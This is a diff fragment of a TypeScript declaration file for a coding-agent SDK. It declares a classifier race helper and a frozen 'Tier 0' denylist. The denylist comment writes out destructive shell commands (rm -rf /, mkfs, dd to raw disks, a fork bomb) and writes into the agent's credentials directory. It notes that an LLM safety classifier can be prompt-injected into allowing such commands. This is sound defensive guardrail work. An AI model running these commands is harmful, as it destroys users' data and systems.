+ * this collector still emits the protected_path signal for `~/.kodax/`
4403
+ * because the classifier prompt benefits from seeing it, but Tier 0
4404
+ * intercepts before the classifier ever runs in production. The signal
4405
+ * here remains useful for tests and for downgraded engine paths.
4406
+ *
4407
+ * Purity: deterministic given `call.input.path` + `projectRoot` + stable
4408
+ * env (KODAX_HOME, system temp). `getAgentConfigHome()` and `os.tmpdir()`
4409
+ * are env-stable per process — acceptable per `signals.ts` purity contract.
4410
+ */
4411
+
4412
+ declare const fileSignalCollector: SignalCollector;
4413
+
4414
+ /**
4415
+ * Tier 0 — Absolute Denylist — FEATURE_158 Step 4 (v0.7.39).
4416
+ *
4417
+ * The narrowest possible set of catastrophic patterns that must NEVER reach
4418
+ * the LLM classifier (which is fallible / can be prompt-injected). Per
4419
+ * ADR-025: every entry here must satisfy BOTH gates:
4420
+ *
4421
+ * (a) "is there any legitimate context in which this should be allowed?"
4422
+ * — answer must be **no**.
4423
+ * (b) "could the LLM be convinced to allow it under prompt injection?"
4424
+ * — answer must be **yes** (otherwise classifier is sufficient).
4425
+ *
4426
+ * The 5-item list is **frozen** by ADR-025; adding entries requires a new
4427
+ * ADR addendum answering (a)+(b) again. Removing entries requires evidence
4428
+ * of high-volume false-positive friction.
4429
+ *
4430
+ * Patterns:
4431
+ *
4432
+ * 1. rm_rf_root — `rm -rf /`, `rm -rf ~`, `rm -rf $HOME` (and quoted
4433
+ * / -fr variants). Excludes `rm -rf /tmp/foo` (which
4434
+ * is a `dangerous_pattern` signal but reaches LLM).
4435
+ * 2. mkfs_or_format — `mkfs.* /dev/sd*`, `fdisk /dev/sd*`, `format C:`.
4436
+ * Block formatting any disk device.
4437
+ * 3. dd_disk_write — `dd of=/dev/sd*` (raw-disk write). Excludes
4438
+ * `dd of=test.bin` (file write — reaches LLM as
4439
+ * dangerous_pattern signal).
4440
+ * 4. fork_bomb — `:(){ :|:& };:` — denial of service.
4441
+ * 5. user_kodax_write — write/edit to any path under `~/.kodax/`
4442
+ * (credentials zone — internal kodax config writes
4443
+ * use the TypeScript API, not bash/tools, so the
4444
+ * only path here is LLM-emitted shell which is
4445
+ * always wrong).
4446
+ *
4447
+ * Layer note: bash-level `~/.kodax/` writes (e.g. `echo x > ~/.kodax/y`)
4448
+ * require AST path-extraction which lives in `@kodax/repl`. The REPL-side
4449
+ * collector wired through `extraCollectors` (Step 7) escalates those to
4450
+ * Tier 0 by emitting a synthetic `user_kodax_write` denial via the same
4451
+ * `AbsoluteDenyResult` shape. This module handles the file-tool path
4452
+ * directly (the most common attack vector) and the four command-string
4453
+ * patterns that don't need path extraction.
4454
+ */
4455
+
4456
+ type TierZeroPatternId = 'rm_rf_root' | 'mkfs_or_format' | 'dd_disk_write' | 'fork_bomb' | 'user_kodax_write';
4457
+ interface AbsoluteDenyMatch {
4458
+ readonly denied: true;
4459
+ readonly patternId: TierZeroPatternId;
4460
+ readonly reason: string;
4461
+ }
4462
+ interface AbsoluteDenyMiss {
4463
+ readonly denied: false;
4464
+ }
4465
+ type AbsoluteDenyResult = AbsoluteDenyMatch | AbsoluteDenyMiss;
4466
+ /**
4467
+ * Check a tool call against the Tier 0 absolute denylist. Returns the
4468
+ * first matching pattern, or `{ denied: false }` if no pattern fires.
4469
+ *
4470
+ * Order is deterministic — patterns checked in the order defined above.
4471
+ * Multiple matches would be possible (e.g. `rm -rf / ; :(){...};:`) but
4472
+ * we return the first hit since the guardrail acts on `denied: true`
4473
+ * regardless and the reason string is one-shot.
4474
+ *
4475
+ * **Pure**: deterministic given (call, projectRoot, stable env).
4476
+ * **Fast**: ~5 regex tests + 1-2 string ops; safe to run on every
4477
+ * non-Tier-1 call without measurable overhead.
4478
+ */
4479
+ declare function checkAbsoluteDeny(call: RunnerToolCall, projectRoot: string): AbsoluteDenyResult;
4480
+
4481
+ /**
4482
+ * Speculative Classify — FEATURE_158 Step 4 (v0.7.39).
4483
+ *
4484
+ * Races an in-flight classifier promise against a short "quiet window".
4485
+ * When the classifier returns within the window, callers can use the
4486
+ * decision immediately — no confirm dialog, no perceptible latency. When
4487
+ * the window expires first, callers fall through to the normal escalate
4488
+ * flow (confirm dialog, with the classifier still running in background
4489
+ * so the dialog can adopt the verdict if it arrives in time).
4490
+ *
4491
+ * Design ref: ADR-025 + FEATURE_158 (docs/features/v0.7.39.md).
4492
+ *
4493
+ * **The promise is NOT aborted on window expiry.** The caller retains
4494
+ * ownership; they pass the same `Promise<T>` to `speculativeRace` and
4495
+ * can `await` it elsewhere. This keeps the classifier from being
4496
+ * cancelled mid-flight when 95% of calls are sub-window — wasting the
4497
+ * remaining 5% would burn tokens already spent.
4498
+ *
4499
+ * Env knob: `KODAX_AUTO_SPECULATIVE_WINDOW_MS`
4500
+ * - default: 500 (CC's equivalent race uses ~2000ms with timeout race;
4501
+ * 500ms is conservative for first iteration, finalized after
4502
+ * micro-bench in commit body)
4503
+ * - `0` : disabled — `speculativeRace` waits forever for the promise
4504
+ * (degrades to synchronous classify)
4505
+ * - negative: treated as `0` (disabled)
4506
+ * - non-numeric: ignored, default used
4507
+ */
4508
+ type SpeculativeResult<T> = {
4509
+ readonly kind: 'resolved';
4510
+ readonly value: T;
4511
+ } | {
4512
+ readonly kind: 'window-expired';
4513
+ };
4514
+ declare const DEFAULT_WINDOW_MS = 500;
4515
+ /**
4516
+ * Read the speculative window from `process.env[ENV_VAR]`. Returns
4517
+ * `undefined` when the env var is unset or malformed (caller falls back
4518
+ * to `DEFAULT_WINDOW_MS`). Returns `0` to mean "disabled — wait forever".
4519
+ */
4520
+ declare function readWindowFromEnv(): number | undefined;
4521
+ /**
4522
+ * Race the given promise against the speculative window. Returns
4523
+ * `{kind: 'resolved', value}` when the promise wins (preferred fast path)
4524
+ * or `{kind: 'window-expired'}` when the timer wins.
4525
+ *
4526
+ * Caller responsibilities:
4527
+ * - Hold the original `promise` reference. If the window expires, the
4528
+ * caller can still `await promise` later — speculativeRace does NOT
4529
+ * cancel it.
4530
+ * - If the promise REJECTS within the window, this function rejects
4531
+ * too (callers `try/catch` or attach `.catch` upstream). When the
4532
+ * window expires before rejection, the rejection is silently
4533
+ * absorbed here (we attach a no-op `.catch` to prevent
4534
+ * UnhandledPromiseRejection) and the caller will surface it later
4535
+ * when they await the original promise.
4536
+ *
4537
+ * windowMs precedence:
4538
+ * 1. Explicit argument
4539
+ * 2. `readWindowFromEnv()`
4540
+ * 3. `DEFAULT_WINDOW_MS`
17
4541
  *
18
- * See docs/ADR.md ADR-024 for the SDK formalization decision.
4542
+ * `windowMs === 0` disables the race returns `{kind: 'resolved'}` once
4543
+ * the promise settles (equivalent to `await promise` wrapped in the
4544
+ * result shape).
19
4545
  */
20
- export * from '@kodax-ai/coding';
4546
+ declare function speculativeRace<T>(promise: Promise<T>, windowMs?: number): Promise<SpeculativeResult<T>>;
4547
+
4548
+ export { Agent, AgentMessage, AutoRules, CANCELLED_TOOL_RESULT_MESSAGE, CANCELLED_TOOL_RESULT_PREFIX, CODING_AGENTS, CODING_AGENT_MARKER, CODING_INVARIANTS, CODING_SUMMARY_PROMPT, CODING_UPDATE_SUMMARY_PROMPT, CapabilityDeniedError, CapabilityKind, CapabilityProvider, CapabilityResult, KodaXClient as Client, CompactionContext, CompactionPolicy, ConstructionManifestError, DEFAULT_CODING_AGENT_NAME, DEFAULT_DANGEROUS_PATTERNS, DEFAULT_HANDLER_TIMEOUT_MS, DEFAULT_RESILIENCE_CONFIG, DEFAULT_SAFE_PATTERNS, DEFAULT_SELF_MODIFY_BUDGET, DEFAULT_WINDOW_MS as DEFAULT_SPECULATIVE_WINDOW_MS, DEFAULT_TOOL_OUTPUT_MAX_BYTES, DEFAULT_TOOL_OUTPUT_MAX_LINES, EMIT_CONTRACT_TOOL_NAME, EMIT_HANDOFF_TOOL_NAME, EMIT_SCOUT_VERDICT_TOOL_NAME, EMIT_VERDICT_TOOL_NAME, EVALUATOR_AGENT_NAME, ErrorCategory, FailureStage, GENERATOR_AGENT_NAME, KODAX_TOOLS, KodaXAmaControllerDecision, KodaXBaseProvider, KodaXChildContextBundle, KodaXClient, KodaXCompactMemorySeed, KodaXContentBlock, KodaXContextOptions, KodaXEvents, KodaXExecutionMode, KodaXExtensionRuntime, KodaXExtensionSessionRecord, KodaXFanoutBranchRecord, KodaXFanoutBranchTransition, KodaXFanoutSchedulerInput, KodaXFanoutSchedulerPlan, KodaXInputArtifact, KodaXJsonValue, KodaXMessage, KodaXOptions, KodaXParentReductionContract, KodaXProviderCapabilityProfile, KodaXProviderPolicyHints, KodaXReasoningCapability, KodaXReasoningMode, KodaXRepoIntelligenceCapability, KodaXRepoIntelligenceMode, KodaXRepoIntelligenceResolvedMode, KodaXRepoIntelligenceTrace, KodaXRepoRoutingSignals, KodaXResult, KodaXSessionArtifactLedgerEntry, KodaXSessionEntry, KodaXSessionError, KodaXSessionLabelEntry, KodaXSessionLineage, KodaXSessionNavigationOptions, KodaXSessionTreeNode, KodaXTaskRoutingDecision, KodaXTaskType, KodaXTerminalError, KodaXThinkingDepth, KodaXToolDefinition, KodaXToolError, KodaXToolExecutionContext, KodaXToolUseBlock, LINEAGE_ENTRY_TYPES, LineageCompaction, LineageExtension, McpCapabilityProvider, McpServerConfig, McpServerRuntime, McpServersConfig, PLANNER_AGENT_NAME, PROMPT_SECTION_REGISTRY, PROTOCOL_EMITTER_TOOLS, ProviderExecutionState, ProviderRecoveryCoordinator, ProviderResilienceConfig, ProviderResiliencePolicy, READ_DEFAULT_LIMIT, READ_MAX_LINE_CHARS, READ_PREFLIGHT_SIZE_BYTES, REPOINTEL_DEFAULT_ENDPOINT, RecoveryDecision, RecoveryResult, ResilienceClassification, SCOUT_AGENT_NAME, SYSTEM_PROMPT, Session, SessionEntry, SessionErrorMetadata, SessionExtension, SignalCollector, StableBoundaryTracker, TASK_ENGINE_ROLE_AGENTS, TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME, ToolCallSignal, _resetRuntimeForTesting, activate, analyzeChangedScope, appendAuditEntry, appendSessionLineageLabel, applyFanoutBranchTransition, applySessionCompaction, applyToolResultGuardrail, archiveOldIslands, assignFanoutBranchWorker, bashSignalCollector, boundedRevise, budgetCeiling, buildAmaControllerDecision, buildCapabilityContextSections, buildClassifierPrompt, buildFallbackRoutingDecision, buildFanoutSchedulerPlan, buildLlmReviewPrompt, buildPromptMessageContent, buildPromptOverlay, buildPromptSnapshot, buildProviderCapabilitySnapshot, buildProviderPolicyHintsForDecision, buildProviderPolicyPromptNotes, buildRepoIntelligenceContext, buildRepoIntelligenceIndex, buildRepoOverview, buildSessionTree, buildSystemPrompt, buildSystemPromptSnapshot, checkAbsoluteDeny, checkIncompleteToolCalls, checkPromiseSignal, classify, classifyBashCommand, classifyError, classifyResilienceError, computeInputSignature, configureRuntime, convertCapabilityReadResult, convertProviderSearchResults, countActiveFanoutBranches, countActiveLineageMessages, createBashClassifierConfig, createBuiltinToolDefinition, createCtxProxy, createDefaultCodingAgent, createDenialTracker, createExtensionRuntime, createFanoutSchedulerInput, createKodaXTaskRunner, createMcpCapabilityId, createMcpTransport, createPromptSection, createReasoningPlan, createSessionLineage, createToolResultTruncationGuardrail, defaultMcpCacheDir, defaultPolicy, disableSelfModify, drainPendingSwaps, emitContract, emitHandoff, emitScoutVerdict, emitVerdict, evaluateProviderPolicy, evaluatorAgent, evaluatorCodingAgent, exec, executeTool, extractArtifactLedger, extractComparableUserMessageText, extractHtmlTitle, extractPromptComparableText, extractTitleFromMessages, fileSignalCollector, finalizeRetrievalResult, findByVersion, findPreviousUserEntryId, forkSessionLineage, formatParallelDispatchResult, formatSize, generateSessionId, generatorAgent, generatorCodingAgent, getActiveExtensionRuntime, getBuiltinRegisteredToolDefinition, getBuiltinToolDefinition, getDenialContext, getFanoutBranch, getImpactEstimate, getMcpCachePaths, getModuleContext, getProcessContext, getRegisteredToolDefinition, getRepoIntelligenceIndex, getRepoOverview, getRepoRoutingSignals, getRequiredToolParams, getSessionLineagePath, getSessionMessagesFromLineage, getSymbolContext, getTool, getToolDefinition, getToolRegistrations, getToolResultPolicy, hasPendingSwap, independentReview, inferTaskType, inspectEditFailure, inspectRepoIntelligenceRuntime, isDeniedRecently, isParallelDispatchDirective, listAll, list as listArtifacts, listBuiltinToolDefinitions, listConstructed, listToolDefinitions, listTools, loadHandler, markFanoutBranchCancelled, markFanoutBranchCompleted, mergeArtifactLedger, orderPromptSections, parseClassifierOutput, parseEditToolError, parseLlmReviewVerdict, parseMcpCapabilityId, parseModelSpec, persistToolOutput, plannerAgent, plannerCodingAgent, prewarmRepoIntelligenceCaches, readArtifact, readAuditEntries, readBudget, readDisableState, readWindowFromEnv as readSpeculativeWindowFromEnv, reasoningModeToDepth, reconstructMessagesWithToolGuard, recordDenial, registerCodingInvariants, registerConfiguredMcpCapabilityProvider, registerOfficialSandboxExtension, registerTool, rehydrateActiveArtifacts, remaining as remainingSelfModifyBudget, renderChangedScope, renderImpactEstimate, renderModuleContext, renderProcessContext, renderPromptSections, renderRepoOverview, renderRetrievalResult, renderSymbolContext, resetBudget, resolveClassifierModel, resolveConstructedAgent, resolveReasoningMode, resolveRepoIntelligenceMode, resolveRepoIntelligenceRuntimeConfig, resolveResilienceConfig, resolveSessionLineageTarget, resolveToolCapability, revoke, rewindSessionLineage, rollbackSelfModify, runAstRules, runKodaX, runLlmReview, runManagedTask, runOrchestration, scoutAgent, scoutCodingAgent, searchMcpCatalog, setActiveExtensionRuntime, setSessionLineageActiveEntry, speculativeRace, stage, stripAssistantText, stripHtmlToText, test as testArtifact, toolAskUserQuestion, toolBash, toolChangedDiff, toolChangedScope, toolCodeSearch, toolEdit, toolGlob, toolGrep, toolImpactEstimate, toolInsertAfterAnchor, toolModuleContext, toolPermission, toolProcessContext, toolRead, toolRepoOverview, toolSemanticLookup, toolSymbolContext, toolUndo, toolWebFetch, toolWebSearch, toolWrite, truncateHead, truncateLine, truncateTail, validateSubtaskIndependence, validateToolSchemaForProvider, warmRepoIntelligenceRuntime, webhook };
4549
+ export type { AbsoluteDenyMatch, AbsoluteDenyMiss, AbsoluteDenyResult, AgentArtifact, ArtifactStatus, AstCheckResult, AstRuleId, AstRuleViolation, AuditEntry, AuditEventKind, BashClassificationResult, BashClassifierConfig, BashRiskLevel, BudgetState, BuildClassifierPromptInput, BuildPromptInput, Capabilities, ChangedFileEntry, ChangedFileStatus, ChangedScopeAreaSummary, ChangedScopeReport, ClassifierDecision, ClassifierPrompt, ClassifyDecision, ClassifyOptions, ConstructionArtifact, ConstructionPolicy, ConstructionPolicyVerdict, CreateCtxProxyOptions, CreateKodaXTaskRunnerOptions, DenialRecord, DenialTracker, DisableState, EditRecoveryDiagnostic, EditToolErrorCode, ErrorClassification, ExecOptions, ExecResult, ExtensionCommandContext, ExtensionCommandDefinition, ExtensionCommandInvocation, ExtensionCommandResult, ExtensionContributionSource, ExtensionEventMap, ExtensionFailureDiagnostic, ExtensionFailureStage, ExtensionHookMap, ExtensionLoadSource, ExtensionLogger, ExtensionRuntimeController, ExtensionRuntimeDiagnostics, ExtensionToolBeforeHookContext, ImpactEstimateResult, KodaXAgentWorkerSpec, KodaXExtensionAPI, KodaXExtensionActivationResult, KodaXExtensionModule, KodaXPromptSection, KodaXPromptSectionDefinition, KodaXPromptSectionSlot, KodaXPromptSectionStability, KodaXPromptSnapshot, KodaXPromptSnapshotMetadata, KodaXProviderCapabilitySnapshot, KodaXProviderPolicyDecision, KodaXProviderPolicyIssue, KodaXProviderPolicyIssueSeverity, KodaXProviderSourceKind, KodaXRetrievalArtifact, KodaXRetrievalFreshness, KodaXRetrievalItem, KodaXRetrievalResult, KodaXRetrievalScope, KodaXRetrievalToolName, KodaXRetrievalTrust, LanguageCapabilityTier, LineageArtifactLedgerPayload, LineageCompactionDelegates, LineageEntryType, LineageLabelPayload, LineageTreeNode, LlmReviewClient, LlmReviewResult, LlmReviewVerdict, LoadHandlerOptions, LoadHandlerScope, LoadedExtensionDiagnostic, LocalToolDefinition, McpCapabilityDescriptor, McpCapabilityKind, McpCapabilityRisk, McpCatalogItem, McpProviderOptions, McpServerCatalogSnapshot, McpServerRuntimeDiagnostics, McpTransport, McpTransportEvents, ModelProviderRegistration, ModuleCapsule, ModuleContextResult, OfficialSandboxMode, OfficialSandboxOptions, OrchestrationArtifact, OrchestrationCompletedTask, OrchestrationRunEvents, OrchestrationRunOptions, OrchestrationRunResult, OrchestrationTaskBudget, OrchestrationTaskContext, OrchestrationTaskExecution, OrchestrationTaskStatus, OrchestrationTraceEvent, OrchestrationWorkerResult, OrchestrationWorkerRunner, OrchestrationWorkerSpec, ParallelDispatchDirective, ParallelDispatchResult, ParallelSubtask, ParsedModelSpec, ProcessCapsule, ProcessContextResult, ProcessStep, ProtocolEmitterMetadata, RegisteredCapabilityProviderDiagnostic, RegisteredCommandDiagnostic, RegisteredHookDiagnostic, RegisteredToolDefinition, RegisteredToolDiagnostic, RepoAreaKind, RepoAreaOverview, RepoIntelligenceIndex, RepoIntelligenceRuntimeInspection, RepoIntelligenceRuntimeWarmResult, RepoLanguageId, RepoLanguageSupport, RepoOverview, RepoSymbolKind, RepoSymbolRecord, RepoSymbolReference, ResolveClassifierModelOptions, ResolveSource, ResolvedClassifierModel, RollbackResult, SchemaProvider, SchemaValidationResult, ScriptSource, SelfModifyAskUser, SelfModifyAskUserInput, SelfModifyDiffSeverity, SelfModifyDiffSummary, SpeculativeResult, StagedHandle, StripOptions, SymbolContextResult, TestArtifactOptions, TestResult, TierZeroPatternId, ToolContent, ToolDefinitionSource, ToolHandler, ToolRegistrationOptions, ToolRegistry, WebhookOptions, WebhookResult };